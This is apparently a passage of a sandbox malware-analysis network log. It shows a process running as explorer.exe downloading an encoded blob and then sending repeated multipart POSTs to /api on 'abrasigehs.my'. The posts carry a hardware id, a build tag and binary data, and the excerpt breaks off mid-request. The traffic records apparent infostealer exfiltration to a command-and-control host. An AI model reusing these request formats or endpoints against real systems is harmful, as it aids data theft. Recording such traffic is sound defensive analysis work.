server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1942&rtt_var=754&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=979&delivery_rate=1426477&cwnd=168&unsent_bytes=0&cid=f55aecd6d19e8697&ts=773&x=0"
2024-12-16 14:19:29 UTC	368	IN	Data Raw: 34 34 35 38 0d 0a 6e 49 70 77 46 6e 2b 50 39 4e 2b 74 33 4c 51 39 64 6e 35 77 38 68 36 71 52 69 6c 59 6e 34 36 61 46 66 79 2b 56 79 73 70 42 51 6a 6e 71 41 59 30 52 62 76 59 2f 64 36 35 6c 67 63 51 48 78 79 42 65 34 5a 6b 53 44 79 39 74 50 78 30 6b 4d 30 79 42 77 74 7a 5a 62 36 77 42 47 51 4b 36 74 6a 39 79 4b 53 57 42 79 30 46 55 70 64 77 69 48 77 4c 50 66 58 73 2b 33 6d 65 33 7a 78 45 57 57 6c 72 39 4f 59 58 66 68 72 73 6b 4c 37 42 73 64 46 59 45 78 38 61 6e 48 66 48 4c 6b 52 36 73 36 7a 2f 62 39 36 45 64 57 5a 4d 63 57 6e 52 36 77 4e 39 58 66 4c 59 70 49 2b 35 32 68 39 4d 58 42 47 58 66 4d 59 67 54 54 50 33 35 76 4a 78 6e 39 6f 39 57 30 42 6a 59 50 54 6f 46 48 38 51 35 59 53 7a 79 37 62 61 58 68 6b 66 55 74 34 38 7a 7a 77 4c 59 72 32 2f 79 6e 53 50 7a Data Ascii: 4458nIpwFn+P9N+t3LQ9dn5w8h6qRilYn46aFfy+VyspBQjnqAY0RbvY/d65lgcQHxyBe4ZkSDy9tPx0kM0yBwtzZb6wBGQK6tj9yKSWBy0FUpdwiHwLPfXs+3me3zxEWWlr9OYXfhrskL7BsdFYEx8anHfHLkR6s6z/b96EdWZMcWnR6wN9XfLYpI+52h9MXBGXfMYgTTP35vJxn9o9W0BjYPToFH8Q5YSzy7baXhkfUt48zzwLYr2/ynSPz
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 31 78 79 43 6c 42 4e 66 37 73 2f 33 32 55 30 7a 39 4e 52 6d 70 73 2f 75 68 53 4f 6c 33 71 6a 76 32 58 2f 76 56 61 42 42 73 65 68 6a 37 79 5a 46 52 30 35 4b 7a 2f 65 39 36 45 64 55 46 4f 5a 47 6e 31 35 78 46 38 46 76 2b 57 72 38 6d 7a 30 30 30 53 47 52 79 61 66 39 6f 75 52 54 7a 2b 35 66 4e 2b 6d 39 73 78 43 51 55 6e 62 65 61 6f 53 6a 51 38 34 4a 32 78 78 61 6e 57 48 77 74 53 43 39 42 37 78 47 51 54 65 76 6e 74 2f 48 61 61 30 6a 74 4e 52 32 46 6b 38 2b 63 55 66 68 33 71 6e 4c 58 48 76 39 74 55 47 78 77 58 6e 58 6a 4f 4b 45 6f 2f 76 61 4b 34 63 49 61 63 62 51 6c 6c 59 47 6e 73 71 69 64 33 45 2b 4f 52 71 34 2b 68 6d 45 5a 55 47 78 37 51 4a 49 67 71 54 6a 58 76 37 65 70 79 6b 4d 34 35 54 45 31 71 61 66 44 6f 46 33 4d 51 34 35 43 36 7a 4c 62 53 58 68 6f 51 47 Data Ascii: 1xyClBNf7s/32U0z9NRmps/uhSOl3qjv2X/vVaBBsehj7yZFR05Kz/e96EdUFOZGn15xF8Fv+Wr8mz000SGRyaf9ouRTz+5fN+m9sxCQUnbeaoSjQ84J2xxanWHwtSC9B7xGQTevnt/Haa0jtNR2Fk8+cUfh3qnLXHv9tUGxwXnXjOKEo/vaK4cIacbQllYGnsqid3E+ORq4+hmEZUGx7QJIgqTjXv7epykM45TE1qafDoF3MQ45C6zLbSXhoQG
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 70 51 7a 2f 34 34 2f 6c 39 6b 4e 6b 2f 52 55 4e 70 61 65 7a 6e 46 6e 51 52 35 5a 79 77 77 62 72 65 56 68 38 58 46 4a 42 39 77 6d 51 46 65 76 72 30 75 43 2f 65 36 44 4a 46 52 6d 67 6f 79 2b 73 63 65 68 72 37 31 71 4b 42 70 35 5a 59 47 46 78 4b 30 48 44 42 4a 45 41 77 2b 65 7a 2f 65 70 76 66 4d 6b 70 47 59 47 44 77 37 78 5a 34 46 4f 43 51 76 63 69 36 30 30 30 52 46 52 36 63 50 49 5a 6b 54 43 4b 39 74 4c 68 59 6d 63 6f 32 5a 6b 68 32 59 37 37 33 58 47 31 64 36 70 72 39 6c 2f 37 52 57 68 77 58 46 4a 68 38 32 69 46 46 4d 66 7a 6d 2f 6e 61 54 30 44 4e 4a 53 6d 64 73 38 75 67 56 63 77 2f 2f 6b 37 76 64 74 4a 59 52 56 42 73 4b 30 43 53 49 45 6c 73 74 37 50 71 36 51 70 33 53 4f 30 35 64 4a 33 57 77 38 56 4a 7a 45 61 33 4f 2f 63 53 2b 32 6c 67 63 47 68 61 59 63 38 Data Ascii: pQz/44/l9kNk/RUNpaeznFnQR5ZywwbreVh8XFJB9wmQFevr0uC/e6DJFRmgoy+scehr71qKBp5ZYGFxK0HDBJEAw+ez/epvfMkpGYGDw7xZ4FOCQvci6000RFR6cPIZkTCK9tLhYmco2Zkh2Y773XG1d6pr9l/7RWhwXFJh82iFFMfzm/naT0DNJSmds8ugVcw//k7vdtJYRVBsK0CSIElst7Pq6Qp3SO05dJ3Ww8VJzEa3O/cS+2lgcGhaYc8
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 39 75 61 34 4f 64 37 62 4c 51 6b 54 4a 31 2f 7a 35 78 4a 33 43 36 32 4a 38 39 62 2b 30 56 4e 55 52 46 4b 63 63 73 67 72 52 7a 62 32 35 50 6c 37 6b 4e 73 77 51 45 4e 76 65 50 2f 73 47 6e 55 54 34 70 65 35 79 72 76 53 57 42 41 61 48 64 41 79 69 43 4e 54 65 71 57 73 31 31 43 72 6e 68 52 7a 43 33 67 6b 35 36 67 56 65 46 32 31 31 72 48 4d 73 74 35 51 45 68 55 65 6d 6e 58 44 4b 45 41 2b 38 65 58 39 63 5a 2f 5a 4d 45 68 50 61 32 44 34 36 78 46 37 45 75 4b 65 2f 59 48 2b 30 55 64 55 52 46 4b 31 61 38 4d 71 54 58 72 69 6f 75 45 33 6d 64 42 31 45 51 74 72 59 2f 6a 75 46 33 67 63 36 35 36 34 78 37 72 58 57 52 49 66 48 5a 52 35 79 53 74 50 4e 76 50 6d 2b 58 61 53 31 7a 70 43 54 69 63 6b 76 75 38 4b 4e 45 57 74 70 37 37 5a 71 63 5a 54 56 41 4e 63 69 54 7a 50 4b 41 74 Data Ascii: 9ua4Od7bLQkTJ1/z5xJ3C62J89b+0VNURFKccsgrRzb25Pl7kNswQENveP/sGnUT4pe5yrvSWBAaHdAyiCNTeqWs11CrnhRzC3gk56gVeF211rHMst5QEhUemnXDKEA+8eX9cZ/ZMEhPa2D46xF7EuKe/YH+0UdURFK1a8MqTXriouE3mdB1EQtrY/juF3gc6564x7rXWRIfHZR5yStPNvPm+XaS1zpCTickvu8KNEWtp77ZqcZTVANciTzPKAt
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 32 53 4a 33 7a 74 43 58 58 77 71 34 61 59 4c 4e 42 72 68 31 75 57 50 76 64 31 55 45 42 77 65 6b 48 6a 46 4a 46 6b 31 2b 75 76 78 66 49 7a 57 4d 6b 35 41 62 32 48 78 37 67 42 34 45 2f 2b 54 72 39 33 2b 6d 42 38 54 42 46 4c 49 50 50 34 6a 57 79 72 2b 72 73 6c 68 6e 63 6f 2b 52 45 63 6e 64 62 44 78 55 6e 4d 52 72 63 37 39 79 62 48 66 58 42 73 64 47 35 78 78 7a 53 31 4f 4f 2f 76 6f 38 6e 32 65 32 6a 4e 49 54 6d 31 70 2f 2b 49 62 63 78 58 71 6c 61 2b 50 38 4a 5a 59 44 46 78 4b 30 46 58 50 4e 6b 55 71 76 66 4f 32 62 74 37 62 4f 51 6b 54 4a 32 37 30 35 78 5a 7a 45 65 75 54 75 38 4b 2f 32 56 34 55 45 78 61 62 64 63 34 6c 52 6a 2f 77 36 4f 70 39 6c 64 4d 35 51 45 64 71 4b 72 43 6f 46 57 78 64 74 64 61 4d 77 72 44 59 57 41 4a 63 44 64 35 6c 69 43 4e 48 65 71 57 73 Data Ascii: 2SJ3ztCXXwq4aYLNBrh1uWPvd1UEBwekHjFJFk1+uvxfIzWMk5Ab2Hx7gB4E/+Tr93+mB8TBFLIPP4jWyr+rslhnco+REcndbDxUnMRrc79ybHfXBsdG5xxzS1OO/vo8n2e2jNITm1p/+IbcxXqla+P8JZYDFxK0FXPNkUqvfO2bt7bOQkTJ2705xZzEeuTu8K/2V4UExabdc4lRj/w6Op9ldM5QEdqKrCoFWxdtdaMwrDYWAJcDd5liCNHeqWs
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 55 31 53 6b 41 6e 4a 4c 37 76 43 6a 52 46 72 62 57 71 32 62 54 52 55 77 49 58 45 35 4e 71 78 54 51 4c 64 4c 33 39 2f 32 62 65 68 43 4e 5a 58 47 42 31 73 50 46 53 63 78 47 74 7a 76 33 4a 74 39 42 59 45 68 49 41 6c 58 72 48 4b 30 49 7a 2b 65 54 37 64 35 72 59 4d 6b 78 49 61 32 48 35 36 78 31 77 46 4f 4f 66 73 6f 2f 77 6c 6c 67 4d 58 45 72 51 58 64 4d 6e 52 7a 65 39 38 37 5a 75 33 74 73 35 43 52 4d 6e 5a 76 44 74 45 6e 34 62 36 5a 4f 37 78 62 76 57 56 42 63 54 46 70 5a 34 78 79 52 41 4d 2f 7a 71 2f 58 32 56 32 6a 68 4b 54 57 45 71 73 4b 67 56 62 46 32 31 31 70 33 55 73 39 70 59 56 41 4e 63 69 54 7a 50 4b 41 74 69 76 65 66 30 63 35 6e 63 4f 45 70 44 59 6d 37 30 37 52 4a 38 44 2b 57 57 75 74 32 73 31 6c 59 52 45 42 47 51 65 4d 34 74 54 54 6e 35 72 4c 59 33 6d Data Ascii: U1SkAnJL7vCjRFrbWq2bTRUwIXE5NqxTQLdL39/2behCNZXGB1sPFScxGtzv3Jt9BYEhIAlXrHK0Iz+eT7d5rYMkxIa2H56x1wFOOfso/wllgMXErQXdMnRze987Zu3ts5CRMnZvDtEn4b6ZO7xbvWVBcTFpZ4xyRAM/zq/X2V2jhKTWEqsKgVbF211p3Us9pYVANciTzPKAtivef0c5ncOEpDYm707RJ8D+WWut2s1lYREBGQeM4tTTn5rLY3m
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 63 61 43 71 77 71 42 51 30 52 62 37 59 2f 63 75 76 6c 67 64 45 54 6b 6e 46 4c 35 39 30 47 53 57 7a 39 62 68 68 33 6f 52 6e 42 77 74 31 4b 71 61 6f 56 58 63 50 2f 35 43 2b 32 62 32 52 59 53 6f 37 43 4a 31 36 33 7a 56 31 42 50 72 32 39 58 47 4a 7a 58 6c 63 53 47 6c 6b 2b 66 35 53 4f 6c 33 69 31 75 58 32 2f 70 34 66 4b 31 4a 53 69 44 79 51 5a 48 34 35 38 2b 4c 2f 59 59 2b 52 45 6c 4e 47 59 58 33 76 71 46 77 30 47 36 33 4f 37 59 48 2b 30 6b 35 55 52 45 4c 43 4a 35 31 33 48 47 71 76 38 37 5a 75 33 73 70 31 45 52 6b 70 4b 75 79 6f 53 6a 52 61 37 6f 53 76 79 62 33 41 58 46 4d 69 4c 4c 35 37 7a 69 46 4d 4b 72 2f 43 38 32 4f 5a 6e 48 73 4a 52 43 63 79 78 36 68 61 4e 43 4b 6a 31 71 57 50 35 70 5a 71 46 78 49 63 6c 32 72 5a 61 57 55 39 2b 2b 6e 2f 5a 39 7a 79 50 6c Data Ascii: caCqwqBQ0Rb7Y/cuvlgdETknFL590GSWz9bhh3oRnBwt1KqaoVXcP/5C+2b2RYSo7CJ163zV1BPr29XGJzXlcSGlk+f5SOl3i1uX2/p4fK1JSiDyQZH458+L/YY+RElNGYX3vqFw0G63O7YH+0k5URELCJ513HGqv87Zu3sp1ERkpKuyoSjRa7oSvyb3AXFMiLL57ziFMKr/C82OZnHsJRCcyx6haNCKj1qWP5pZqFxIcl2rZaWU9++n/Z9zyPl
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 76 76 70 53 4c 46 32 71 6c 61 2f 64 75 4e 56 4a 46 31 73 73 72 6c 76 47 49 30 6f 73 37 66 76 33 4f 4c 44 71 46 48 64 31 63 6d 6e 77 35 68 56 69 44 4b 33 59 2f 63 44 2b 6a 6d 5a 55 56 46 4b 76 4d 6f 67 38 43 32 4b 39 32 66 74 35 6b 4e 73 6a 57 41 5a 41 5a 50 6e 70 42 47 51 4b 34 74 6d 54 2b 5a 2b 57 45 56 51 61 55 73 67 75 68 6d 52 50 4b 37 32 30 71 43 58 46 69 57 59 65 47 7a 56 31 73 50 46 53 59 6c 32 31 78 50 4f 50 72 4a 59 48 56 46 73 52 67 6d 37 4f 4a 31 30 35 75 74 4c 47 55 4a 44 62 4e 46 39 62 61 6d 62 66 36 77 4e 2b 49 39 4f 44 76 73 47 77 30 55 6b 46 58 46 7a 51 63 34 68 38 63 6e 71 31 72 4d 63 35 33 73 52 31 45 51 74 53 61 66 44 6d 46 57 49 4d 6f 4c 47 7a 79 4c 2f 41 54 78 6b 51 4d 35 4e 74 77 6d 51 46 65 76 75 73 6f 43 58 51 6e 44 46 59 43 7a 38 Data Ascii: vvpSLF2qla/duNVJF1ssrlvGI0os7fv3OLDqFHd1cmnw5hViDK3Y/cD+jmZUVFKvMog8C2K92ft5kNsjWAZAZPnpBGQK4tmT+Z+WEVQaUsguhmRPK720qCXFiWYeGzV1sPFSYl21xPOPrJYHVFsRgm7OJ105utLGUJDbNF9bambf6wN+I9ODvsGw0UkFXFzQc4h8cnq1rMc53sR1EQtSafDmFWIMoLGzyL/ATxkQM5NtwmQFevusoCXQnDFYCz8
2024-12-16 14:19:29 UTC	1369	IN	Data Raw: 6d 78 64 74 64 61 51 33 62 6e 47 58 46 59 77 46 5a 31 77 69 44 73 46 49 37 33 36 75 43 2f 4e 6b 6e 56 62 43 7a 38 71 75 65 73 41 5a 68 76 75 67 4c 36 49 67 4f 68 79 42 68 73 43 6b 7a 37 35 4b 55 38 73 36 4f 2f 6f 63 4b 44 69 47 46 74 4d 64 32 6d 38 7a 53 67 32 4c 50 75 56 76 63 47 35 6c 68 46 55 42 46 4c 49 50 4f 55 32 54 43 72 2b 72 74 31 4e 33 4f 30 6a 53 6b 74 70 62 62 36 6d 55 6e 68 64 74 64 61 77 33 62 6e 47 58 46 67 62 43 4a 63 38 31 32 70 53 65 75 75 73 6f 43 54 51 6e 43 63 4a 45 79 63 74 38 4f 55 54 64 78 50 75 68 4b 2f 4a 76 63 42 63 55 79 49 73 76 33 66 4a 4e 45 59 72 38 4f 6a 75 53 61 44 37 4d 30 78 4d 57 56 54 4a 2b 52 56 6b 58 38 75 56 71 38 7a 2b 6d 42 38 4d 58 45 72 51 57 38 34 68 54 48 71 7a 72 50 77 33 78 70 77 61 51 6b 70 33 5a 2b 2f 6c Data Ascii: mxdtdaQ3bnGXFYwFZ1wiDsFI736uC/NknVbCz8quesAZhvugL6IgOhyBhsCkz75KU8s6O/ocKDiGFtMd2m8zSg2LPuVvcG5lhFUBFLIPOU2TCr+rt1N3O0jSktpbb6mUnhdtdaw3bnGXFgbCJc812pSeuusoCTQnCcJEyct8OUTdxPuhK/JvcBcUyIsv3fJNEYr8OjuSaD7M0xMWVTJ+RVkX8uVq8z+mB8MXErQW84hTHqzrPw3xpwaQkp3Z+/l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49887	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:31 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MKR5ZYGGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12784 Host: abrasigehs.my
2024-12-16 14:19:31 UTC	12784	OUT	Data Raw: 2d 2d 4d 4b 52 35 5a 59 47 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 4b 52 35 5a 59 47 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4b 52 35 5a 59 47 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 0d 0a 2d 2d 4d 4b 52 35 5a 59 47 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --MKR5ZYGGDContent-Disposition: form-data; name="hwid"F79A26C7980E3B7BAC8923850305D13E--MKR5ZYGGDContent-Disposition: form-data; name="pid"2--MKR5ZYGGDContent-Disposition: form-data; name="lid"AB15g1--NEWBuild--MKR5ZYGGDContent-D
2024-12-16 14:19:31 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05a2n0at3j8pcjci3p25trgub7; expires=Fri, 11-Apr-2025 08:06:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sjGEuFQy6Vw3AR6AxucOHHXKou9%2B8apH5ME7DNks9EoxBbSBxDJp1j8CQyhaa%2F7xyIafiXFOZyhX07KMty4PdqrK7ctcfQXMeKRFcc57A6U1sKPAcsRDeJjuglHjhDfL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f102e8042e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3127&min_rtt=1896&rtt_var=1590&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13712&delivery_rate=1540084&cwnd=239&unsent_bytes=0&cid=c08455f97cce47f0&ts=870&x=0"
2024-12-16 14:19:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:19:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49893	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:33 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LDI7022ZJCF3GEW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15062 Host: abrasigehs.my
2024-12-16 14:19:33 UTC	15062	OUT	Data Raw: 2d 2d 4c 44 49 37 30 32 32 5a 4a 43 46 33 47 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 44 49 37 30 32 32 5a 4a 43 46 33 47 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 44 49 37 30 32 32 5a 4a 43 46 33 47 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 0d 0a 2d 2d 4c 44 Data Ascii: --LDI7022ZJCF3GEWContent-Disposition: form-data; name="hwid"F79A26C7980E3B7BAC8923850305D13E--LDI7022ZJCF3GEWContent-Disposition: form-data; name="pid"2--LDI7022ZJCF3GEWContent-Disposition: form-data; name="lid"AB15g1--NEWBuild--LD
2024-12-16 14:19:34 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jh59nvep0553mata5adqkk0aco; expires=Fri, 11-Apr-2025 08:06:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8l4i9fbLlzCKrBYPlxWsc23Q6kDA2Po6Igy9TUqlaJPLulgXrkkyg5dTipPgr9whcJYOCxlzMNzEvSShoF4otXSy4qGJj3WumU3VOhX9memPMJcW9LmP%2BH21hEyYwvtm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f1e18c8c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1648&rtt_var=633&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=15996&delivery_rate=1706604&cwnd=155&unsent_bytes=0&cid=255d734a9c7cd648&ts=884&x=0"
2024-12-16 14:19:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:19:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49899	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:35 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZLL0K474LK55C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20540 Host: abrasigehs.my
2024-12-16 14:19:35 UTC	15331	OUT	Data Raw: 2d 2d 5a 4c 4c 30 4b 34 37 34 4c 4b 35 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 4c 4c 30 4b 34 37 34 4c 4b 35 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 4c 4c 30 4b 34 37 34 4c 4b 35 35 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 0d 0a 2d 2d 5a 4c 4c 30 4b 34 37 34 Data Ascii: --ZLL0K474LK55CContent-Disposition: form-data; name="hwid"F79A26C7980E3B7BAC8923850305D13E--ZLL0K474LK55CContent-Disposition: form-data; name="pid"3--ZLL0K474LK55CContent-Disposition: form-data; name="lid"AB15g1--NEWBuild--ZLL0K474
2024-12-16 14:19:35 UTC	5209	OUT	Data Raw: 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3Wun 4F([:7s~X`nO`i
2024-12-16 14:19:36 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5h3vubkqd5ldiadqh87tussqpq; expires=Fri, 11-Apr-2025 08:06:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oQoKSrd2JSRgSbfoC76dcttQyG1ZNVeslkD6m9koo0%2F%2FrlG6qkoXp4NRsSykpcujj5laMjDNsI%2FScpfQYpmWI1yn2LE%2BXBOwHJKmW37uK4tjQPdA82iYmXVY%2BOoyhnyv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f2c9ba9de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1615&rtt_var=612&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21494&delivery_rate=1780487&cwnd=240&unsent_bytes=0&cid=d63b302b010260c4&ts=1284&x=0"
2024-12-16 14:19:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:19:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49908	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:38 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TZYAAGTHX2OJKLVR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: abrasigehs.my
2024-12-16 14:19:38 UTC	1258	OUT	Data Raw: 2d 2d 54 5a 59 41 41 47 54 48 58 32 4f 4a 4b 4c 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 5a 59 41 41 47 54 48 58 32 4f 4a 4b 4c 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 5a 59 41 41 47 54 48 58 32 4f 4a 4b 4c 56 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 0d 0a 2d Data Ascii: --TZYAAGTHX2OJKLVRContent-Disposition: form-data; 